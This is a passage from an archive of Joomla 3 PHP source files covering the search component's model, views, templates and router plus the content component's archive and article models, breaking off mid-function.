	 * Method to set the search areas
	 *
	 * @param   array  $active  areas
	 * @param   array  $search  areas
	 *
	 * @return  void
	 *
	 * @access  public
	 */
	public function setAreas($active = array(), $search = array())
	{
		$this->_areas['active'] = $active;
		$this->_areas['search'] = $search;
	}

	/**
	 * Method to get a pagination object of the weblink items for the category
	 *
	 * @access  public
	 * @return  integer
	 */
	public function getPagination()
	{
		// Lets load the content if it doesn't already exist
		if (empty($this->_pagination))
		{
			$this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit'));
		}

		return $this->_pagination;
	}

	/**
	 * Method to get the search areas
	 *
	 * @return  integer
	 *
	 * @since   1.5
	 */
	public function getAreas()
	{
		// Load the Category data
		if (empty($this->_areas['search']))
		{
			$areas = array();

			JPluginHelper::importPlugin('search');
			$dispatcher  = JEventDispatcher::getInstance();
			$searchareas = $dispatcher->trigger('onContentSearchAreas');

			foreach ($searchareas as $area)
			{
				if (is_array($area))
				{
					$areas = array_merge($areas, $area);
				}
			}

			$this->_areas['search'] = $areas;
		}

		return $this->_areas;
	}
}
com_search/views/search/view.html.php000060400000022662152453734450013717 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * HTML View class for the search component
 *
 * @since  1.0
 */
class SearchViewSearch extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since 1.0
	 */
	public function display($tpl = null)
	{
		JLoader::register('SearchHelper', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/search.php');

		$app     = JFactory::getApplication();
		$uri     = JUri::getInstance();
		$error   = null;
		$results = null;
		$total   = 0;

		// Get some data from the model
		$areas      = $this->get('areas');
		$state      = $this->get('state');
		$searchWord = $state->get('keyword');
		$params     = $app->getParams();

		if (!$app->getMenu()->getActive())
		{
			$params->set('page_title', JText::_('COM_SEARCH_SEARCH'));
		}

		$title = $params->get('page_title');

		if ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($params->get('menu-meta_description'))
		{
			$this->document->setDescription($params->get('menu-meta_description'));
		}

		if ($params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
		}

		if ($params->get('robots'))
		{
			$this->document->setMetadata('robots', $params->get('robots'));
		}

		// Built select lists
		$orders   = array();
		$orders[] = JHtml::_('select.option', 'newest', JText::_('COM_SEARCH_NEWEST_FIRST'));
		$orders[] = JHtml::_('select.option', 'oldest', JText::_('COM_SEARCH_OLDEST_FIRST'));
		$orders[] = JHtml::_('select.option', 'popular', JText::_('COM_SEARCH_MOST_POPULAR'));
		$orders[] = JHtml::_('select.option', 'alpha', JText::_('COM_SEARCH_ALPHABETICAL'));
		$orders[] = JHtml::_('select.option', 'category', JText::_('JCATEGORY'));

		$lists             = array();
		$lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text', $state->get('ordering'));

		$searchphrases         = array();
		$searchphrases[]       = JHtml::_('select.option', 'all', JText::_('COM_SEARCH_ALL_WORDS'));
		$searchphrases[]       = JHtml::_('select.option', 'any', JText::_('COM_SEARCH_ANY_WORDS'));
		$searchphrases[]       = JHtml::_('select.option', 'exact', JText::_('COM_SEARCH_EXACT_PHRASE'));
		$lists['searchphrase'] = JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', $state->get('match'));

		// Log the search
		\Joomla\CMS\Helper\SearchHelper::logSearch($searchWord, 'com_search');

		// Limit search-word
		$lang        = JFactory::getLanguage();
		$upper_limit = $lang->getUpperLimitSearchWord();
		$lower_limit = $lang->getLowerLimitSearchWord();

		if (SearchHelper::limitSearchWord($searchWord))
		{
			$error = JText::sprintf('COM_SEARCH_ERROR_SEARCH_MESSAGE', $lower_limit, $upper_limit);
		}

		// Sanitise search-word
		if (SearchHelper::santiseSearchWord($searchWord, $state->get('match')))
		{
			$error = JText::_('COM_SEARCH_ERROR_IGNOREKEYWORD');
		}

		if (!$searchWord && !empty($this->input) && count($this->input->post))
		{
			// $error = JText::_('COM_SEARCH_ERROR_ENTERKEYWORD');
		}

		// Put the filtered results back into the model
		// for next release, the checks should be done in the model perhaps...
		$state->set('keyword', $searchWord);

		if ($error === null)
		{
			$results    = $this->get('data');
			$total      = $this->get('total');
			$pagination = $this->get('pagination');

			// Flag indicates to not add limitstart=0 to URL
			$pagination->hideEmptyLimitstart = true;

			if ($state->get('match') === 'exact')
			{
				$searchWords = array($searchWord);
				$needle      = $searchWord;
			}
			else
			{
				$searchWordA = preg_replace('#\xE3\x80\x80#', ' ', $searchWord);
				$searchWords = preg_split("/\s+/u", $searchWordA);
				$needle      = $searchWords[0];
			}

			JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

			// Make sure there are no slashes in the needle
			$needle = str_replace('/', '\/', $needle);

			for ($i = 0, $count = count($results); $i < $count; ++$i)
			{
				$rowTitle = &$results[$i]->title;
				$rowTitleHighLighted = $this->highLight($rowTitle, $needle, $searchWords);
				$rowText = &$results[$i]->text;
				$rowTextHighLighted = $this->highLight($rowText, $needle, $searchWords);

				$result = &$results[$i];
				$created = '';

				if ($result->created)
				{
					$created = JHtml::_('date', $result->created, JText::_('DATE_FORMAT_LC3'));
				}

				$result->title   = $rowTitleHighLighted;
				$result->text    = JHtml::_('content.prepare', $rowTextHighLighted, '', 'com_search.search');
				$result->created = $created;
				$result->count   = $i + 1;
			}
		}

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
		$this->pagination    = &$pagination;
		$this->results       = &$results;
		$this->lists         = &$lists;
		$this->params        = &$params;
		$this->ordering      = $state->get('ordering');
		$this->searchword    = $searchWord;
		$this->origkeyword   = $state->get('origkeyword');
		$this->searchphrase  = $state->get('match');
		$this->searchareas   = $areas;
		$this->total         = $total;
		$this->error         = $error;
		$this->action        = $uri;

		parent::display($tpl);
	}

	/**
	 * Method to control the highlighting of keywords
	 *
	 * @param   string  $string       text to be searched
	 * @param   string  $needle       text to search for
	 * @param   string  $searchWords  words to be searched
	 *
	 * @return  mixed  A string.
	 *
	 * @since   3.8.4
	 */
	public function highLight($string, $needle, $searchWords)
	{
		$hl1            = '<span class="highlight">';
		$hl2            = '</span>';
		$mbString       = extension_loaded('mbstring');
		$highlighterLen = strlen($hl1 . $hl2);

		// Doing HTML entity decoding here, just in case we get any HTML entities here.
		$quoteStyle   = version_compare(PHP_VERSION, '5.4', '>=') ? ENT_NOQUOTES | ENT_HTML401 : ENT_NOQUOTES;
		$row          = html_entity_decode($string, $quoteStyle, 'UTF-8');
		$row          = SearchHelper::prepareSearchContent($row, $needle);
		$searchWords  = array_values(array_unique($searchWords));
		$lowerCaseRow = $mbString ? mb_strtolower($row) : StringHelper::strtolower($row);

		$transliteratedLowerCaseRow = SearchHelper::remove_accents($lowerCaseRow);

		$posCollector = array();

		foreach ($searchWords as $highlightWord)
		{
			$found = false;

			if ($mbString)
			{
				$lowerCaseHighlightWord = mb_strtolower($highlightWord);

				if (($pos = mb_strpos($lowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
				elseif (($pos = mb_strpos($transliteratedLowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
			}
			else
			{
				$lowerCaseHighlightWord = StringHelper::strtolower($highlightWord);

				if (($pos = StringHelper::strpos($lowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
				elseif (($pos = StringHelper::strpos($transliteratedLowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
			}

			if ($found === true)
			{
				// Iconv transliterates '€' to 'EUR'
				// TODO: add other expanding translations?
				$eur_compensation = $pos > 0 ? substr_count($row, "\xE2\x82\xAC", 0, $pos) * 2 : 0;
				$pos -= $eur_compensation;

				// Collect pos and search-word
				$posCollector[$pos] = $highlightWord;
			}
		}

		if (count($posCollector))
		{
			// Sort by pos. Easier to handle overlapping highlighter-spans
			ksort($posCollector);
			$cnt                = 0;
			$lastHighlighterEnd = -1;

			foreach ($posCollector as $pos => $highlightWord)
			{
				$pos += $cnt * $highlighterLen;

				/*
				 * Avoid overlapping/corrupted highlighter-spans
				 * TODO $chkOverlap could be used to highlight remaining part
				 * of search-word outside last highlighter-span.
				 * At the moment no additional highlighter is set.
				 */
				$chkOverlap = $pos - $lastHighlighterEnd;

				if ($chkOverlap >= 0)
				{
					// Set highlighter around search-word
					if ($mbString)
					{
						$highlightWordLen = mb_strlen($highlightWord);
						$row              = mb_substr($row, 0, $pos) . $hl1 . mb_substr($row, $pos, $highlightWordLen)
							. $hl2 . mb_substr($row, $pos + $highlightWordLen);
					}
					else
					{
						$highlightWordLen = StringHelper::strlen($highlightWord);
						$row              = StringHelper::substr($row, 0, $pos)
							. $hl1 . StringHelper::substr($row, $pos, StringHelper::strlen($highlightWord))
							. $hl2 . StringHelper::substr($row, $pos + StringHelper::strlen($highlightWord));
					}

					$cnt++;
					$lastHighlighterEnd = $pos + $highlightWordLen + $highlighterLen;
				}
			}
		}

		return $row;
	}
}
com_search/views/search/tmpl/default_form.php000060400000006064152453734450015423 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();
$upper_limit = $lang->getUpperLimitSearchWord();

?>
<form id="searchForm" action="<?php echo JRoute::_('index.php?option=com_search'); ?>" method="post">
	<div class="btn-toolbar">
		<div class="btn-group pull-left">
			<label for="search-searchword" class="element-invisible">
				<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>
			</label>
			<input type="text" name="searchword" title="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" placeholder="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" id="search-searchword" size="30" maxlength="<?php echo $upper_limit; ?>" value="<?php echo $this->escape($this->origkeyword); ?>" class="inputbox" />
		</div>
		<div class="btn-group pull-left">
			<button name="Search" onclick="this.form.submit()" class="btn hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_SEARCH_SEARCH');?>">
				<span class="icon-search"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		</div>
		<input type="hidden" name="task" value="search" />
		<div class="clearfix"></div>
	</div>
	<div class="searchintro<?php echo $this->params->get('pageclass_sfx', ''); ?>">
		<?php if (!empty($this->searchword)) : ?>
			<p>
				<?php echo JText::plural('COM_SEARCH_SEARCH_KEYWORD_N_RESULTS', '<span class="badge badge-info">' . $this->total . '</span>'); ?>
			</p>
		<?php endif; ?>
	</div>
	<?php if ($this->params->get('search_phrases', 1)) : ?>
		<fieldset class="phrases">
			<legend>
				<?php echo JText::_('COM_SEARCH_FOR'); ?>
			</legend>
			<div class="phrases-box">
				<?php echo $this->lists['searchphrase']; ?>
			</div>
			<div class="ordering-box">
				<label for="ordering" class="ordering">
					<?php echo JText::_('COM_SEARCH_ORDERING'); ?>
				</label>
				<?php echo $this->lists['ordering']; ?>
			</div>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->params->get('search_areas', 1)) : ?>
		<fieldset class="only">
			<legend>
				<?php echo JText::_('COM_SEARCH_SEARCH_ONLY'); ?>
			</legend>
			<?php foreach ($this->searchareas['search'] as $val => $txt) : ?>
				<?php $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?>
				<label for="area-<?php echo $val; ?>" class="checkbox">
					<input type="checkbox" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" <?php echo $checked; ?> />
					<?php echo JText::_($txt); ?>
				</label>
			<?php endforeach; ?>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->total > 0) : ?>
		<div class="form-limit">
			<label for="limit">
				<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
			</label>
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
		<p class="counter">
			<?php echo $this->pagination->getPagesCounter(); ?>
		</p>
	<?php endif; ?>
</form>
com_search/views/search/tmpl/default.php000060400000001617152453734450014377 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="search<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1 class="page-title">
			<?php if ($this->escape($this->params->get('page_heading'))) : ?>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo $this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php echo $this->loadTemplate('form'); ?>
	<?php if ($this->error == null && count($this->results) > 0) : ?>
		<?php echo $this->loadTemplate('results'); ?>
	<?php else : ?>
		<?php echo $this->loadTemplate('error'); ?>
	<?php endif; ?>
</div>
com_search/views/search/tmpl/default.xml000060400000005116152453734450014406 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE" option="COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS"
		/>
		<message>
			<![CDATA[COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request" label="COM_SEARCH_FIELDSET_OPTIONAL_LABEL">

			<field
				name="searchword"
				type="text"
				label="COM_SEARCH_FIELD_LABEL"
				description="COM_SEARCH_FIELD_DESC"
			/>
		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="COM_MENUS_BASIC_FIELDSET_LABEL">

			<field
				name="search_phrases"
				type="list"
				label="COM_SEARCH_FIELD_SEARCH_PHRASES_LABEL"
				description="COM_SEARCH_FIELD_SEARCH_PHRASES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="search_areas"
				type="list"
				label="COM_SEARCH_FIELD_SEARCH_AREAS_LABEL"
				description="COM_SEARCH_FIELD_SEARCH_AREAS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_date"
				type="list"
				label="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL"
				description="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="spacer1"
				type="spacer"
				label="COM_SEARCH_SAVED_SEARCH_OPTIONS"
				class="text"
			/>

			<!-- Add fields to define saved search. -->

			<field
				name="searchphrase"
				type="list"
				label="COM_SEARCH_FOR_LABEL"
				description="COM_SEARCH_FOR_DESC"
				default="0"
				>
				<option value="0">COM_SEARCH_ALL_WORDS</option>
				<option value="1">COM_SEARCH_ANY_WORDS</option>
				<option value="2">COM_SEARCH_EXACT_PHRASE</option>
			</field>

			<field
				name="ordering"
				type="list"
				label="COM_SEARCH_ORDERING_LABEL"
				description="COM_SEARCH_ORDERING_DESC"
				default="newest"
				>
				<option value="newest">COM_SEARCH_NEWEST_FIRST</option>
				<option value="oldest">COM_SEARCH_OLDEST_FIRST</option>
				<option value="popular">COM_SEARCH_MOST_POPULAR</option>
				<option value="alpha">COM_SEARCH_ALPHABETICAL</option>
				<option value="category">JCATEGORY</option>
			</field>

		</fieldset>
	</fields>
</metadata>
com_search/views/search/tmpl/default_results.php000060400000003072152453734450016155 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach ($this->results as $result) : ?>
	<dt class="result-title">
		<?php echo $this->pagination->limitstart + $result->count . '. '; ?>
		<?php if ($result->href) : ?>
			<a href="<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) : ?> target="_blank"<?php endif; ?>>
				<?php // $result->title should not be escaped in this case, as it may ?>
				<?php // contain span HTML tags wrapping the searched terms, if present ?>
				<?php // in the title. ?>
				<?php echo $result->title; ?>
			</a>
		<?php else : ?>
			<?php // see above comment: do not escape $result->title ?>
			<?php echo $result->title; ?>
		<?php endif; ?>
	</dt>
	<?php if ($result->section) : ?>
		<dd class="result-category">
			<span class="small<?php echo $this->pageclass_sfx; ?>">
				(<?php echo $this->escape($result->section); ?>)
			</span>
		</dd>
	<?php endif; ?>
	<dd class="result-text">
		<?php echo $result->text; ?>
	</dd>
	<?php if ($this->params->get('show_date')) : ?>
		<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
			<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
		</dd>
	<?php endif; ?>
<?php endforeach; ?>
</dl>
<div class="pagination">
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>
com_search/views/search/tmpl/default_error.php000060400000000571152453734450015606 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php if ($this->error) : ?>
	<div class="error">
		<?php echo $this->escape($this->error); ?>
	</div>
<?php endif; ?>
com_search/views/search/view.opensearch.php000060400000002551152453734450015075 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * OpenSearch View class for the Search component
 *
 * @since  1.7
 */
class SearchViewSearch extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  name of the template
	 *
	 * @throws Exception
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$doc = JFactory::getDocument();
		$app = JFactory::getApplication();

		$params = JComponentHelper::getParams('com_search');
		$doc->setShortName($params->get('opensearch_name', $app->get('sitename')));
		$doc->setDescription($params->get('opensearch_description', $app->get('MetaDesc')));

		// Add the URL for the search
		$searchUri = JUri::base() . 'index.php?option=com_search&searchword={searchTerms}';

		// Find the menu item for the search
		$menu  = $app->getMenu();
		$items = $menu->getItems('link', 'index.php?option=com_search&view=search');

		if (isset($items[0]))
		{
			$searchUri .= '&Itemid=' . $items[0]->id;
		}

		$htmlSearch           = new JOpenSearchUrl;
		$htmlSearch->template = JRoute::_($searchUri);
		$doc->addUrl($htmlSearch);
	}
}
com_search/router.php000060400000004041152453734450010707 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_search
 *
 * @since  3.3
 */
class SearchRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_search component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		if (isset($query['view']))
		{
			unset($query['view']);
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$vars = array();

		// Fix up search for URL
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			// Urldecode twice because it is encoded twice
			$segments[$i] = urldecode(urldecode(stripcslashes($segments[$i])));
		}

		$searchword         = array_shift($segments);
		$vars['searchword'] = $searchword;
		$vars['view']       = 'search';

		return $vars;
	}
}


/**
 * searchBuildRoute
 *
 * These functions are proxies for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function searchBuildRoute(&$query)
{
	$router = new SearchRouter;

	return $router->build($query);
}

/**
 * searchParseRoute
 *
 * These functions are proxies for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function searchParseRoute($segments)
{
	$router = new SearchRouter;

	return $router->parse($segments);
}
com_search/search.php000060400000001064152453734450010636 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_search'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Search');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_content/content.php000060400000001235152453734450011250 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_content'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

JLoader::register('ContentHelper', __DIR__ . '/helpers/content.php');

$controller = JControllerLegacy::getInstance('Content');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_content/models/archive.php000060400000013044152453734450012503 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('ContentModelArticles', __DIR__ . '/articles.php');

/**
 * Content Component Archive Model
 *
 * @since  1.5
 */
class ContentModelArchive extends ContentModelArticles
{
	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	public $_context = 'com_content.archive';

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   The field to order on.
	 * @param   string  $direction  The direction to order on.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		parent::populateState();

		$app = JFactory::getApplication();

		// Add archive properties
		$params = $this->state->params;

		// Filter on archived articles
		$this->setState('filter.published', 2);

		// Filter on month, year
		$this->setState('filter.month', $app->input->getInt('month'));
		$this->setState('filter.year', $app->input->getInt('year'));

		// Optional filter text
		$this->setState('list.filter', $app->input->getString('filter-search'));

		// Get list limit
		$itemid = $app->input->get('Itemid', 0, 'int');
		$limit = $app->getUserStateFromRequest('com_content.archive.list' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint');
		$this->setState('list.limit', $limit);

		// Set the archive ordering
		$articleOrderby   = $params->get('orderby_sec', 'rdate');
		$articleOrderDate = $params->get('order_date');

		// No category ordering
		$secondary = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate);

		$this->setState('list.ordering', $secondary . ', a.created DESC');
		$this->setState('list.direction', '');
	}

	/**
	 * Get the master query for retrieving a list of articles subject to the model state.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$params           = $this->state->params;
		$app              = JFactory::getApplication('site');
		$catids           = ArrayHelper::toInteger($app->input->get('catid', array(), 'array'));
		$catids           = array_values(array_diff($catids, array(0)));
		$articleOrderDate = $params->get('order_date');

		// Create a new query object.
		$query = parent::getListQuery();

			// Add routing for archive
			// Sqlsrv changes
		$case_when = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$query->select($case_when);

		$case_when = ' CASE WHEN ';
		$case_when .= $query->charLength('c.alias', '!=', '0');
		$case_when .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $c_id . ' END as catslug';
		$query->select($case_when);

		// Filter on month, year
		// First, get the date field
		$queryDate = ContentHelperQuery::getQueryDate($articleOrderDate);

		if ($month = $this->getState('filter.month'))
		{
			$query->where($query->month($queryDate) . ' = ' . $month);
		}

		if ($year = $this->getState('filter.year'))
		{
			$query->where($query->year($queryDate) . ' = ' . $year);
		}

		if (count($catids) > 0)
		{
			$query->where('c.id IN (' . implode(', ', $catids) . ')');
		}

		return $query;
	}

	/**
	 * Method to get the archived article list
	 *
	 * @access public
	 * @return array
	 */
	public function getData()
	{
		$app = JFactory::getApplication();

		// Lets load the content if it doesn't already exist
		if (empty($this->_data))
		{
			// Get the page/component configuration
			$params = $app->getParams();

			// Get the pagination request variables
			$limit      = $app->input->get('limit', $params->get('display_num', 20), 'uint');
			$limitstart = $app->input->get('limitstart', 0, 'uint');

			$query = $this->_buildQuery();

			$this->_data = $this->_getList($query, $limitstart, $limit);
		}

		return $this->_data;
	}

	/**
	 * JModelLegacy override to add alternating value for $odd
	 *
	 * @param   string   $query       The query.
	 * @param   integer  $limitstart  Offset.
	 * @param   integer  $limit       The number of records.
	 *
	 * @return  array  An array of results.
	 *
	 * @since   3.0.1
	 * @throws  RuntimeException
	 */
	protected function _getList($query, $limitstart=0, $limit=0)
	{
		$result = parent::_getList($query, $limitstart, $limit);

		$odd = 1;

		foreach ($result as $k => $row)
		{
			$result[$k]->odd = $odd;
			$odd = 1 - $odd;
		}

		return $result;
	}

	/**
	 * Gets the archived articles years
	 *
	 * @return   array
	 *
	 * @since    3.6.0
	 */
	public function getYears()
	{
		$db = $this->getDbo();
		$nullDate = $db->quote($db->getNullDate());
		$nowDate  = $db->quote(JFactory::getDate()->toSql());

		$query = $db->getQuery(true);
		$years = $query->year($db->qn('created'));
		$query->select('DISTINCT (' . $years . ')')
			->from($db->qn('#__content'))
			->where($db->qn('state') . '= 2')
			->where('(publish_up = ' . $nullDate . ' OR publish_up <= ' . $nowDate . ')')
			->where('(publish_down = ' . $nullDate . ' OR publish_down >= ' . $nowDate . ')')
			->order('1 ASC');

		$db->setQuery($query);

		return $db->loadColumn();
	}
}
com_content/models/article.php000060400000060526152453734450012514 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ContentHelper', JPATH_ADMINISTRATOR . '/components/com_content/helpers/content.php');

/**
 * Item Model for an Article.
 *
 * @since  1.6
 */
class ContentModelArticle extends JModelAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_CONTENT';

	/**
	 * The type alias for this content type (for example, 'com_content.article').
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $typeAlias = 'com_content.article';

	/**
	 * The context used for the associations table
	 *
	 * @var    string
	 * @since  3.4.4
	 */
	protected $associationsContext = 'com_content.item';

	/**
	 * Function that can be overridden to do any data cleanup after batch copying data
	 *
	 * @param   \JTableInterface  $table  The table object containing the newly created item
	 * @param   integer           $newId  The id of the new item
	 * @param   integer           $oldId  The original item id
	 *
	 * @return  void
	 *
	 * @since  3.8.12
	 */
	protected function cleanupPostBatchCopy(\JTableInterface $table, $newId, $oldId)
	{
		// Check if the article was featured and update the #__content_frontpage table
		if ($table->featured == 1)
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->insert($db->quoteName('#__content_frontpage'))
				->values($newId . ', 0');
			$db->setQuery($query);
			$db->execute();
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		$oldItem = $this->getTable();
		$oldItem->load($oldId);
		$fields = FieldsHelper::getFields('com_content.article', $oldItem, true);

		$fieldsData = array();

		if (!empty($fields))
		{
			$fieldsData['com_fields'] = array();

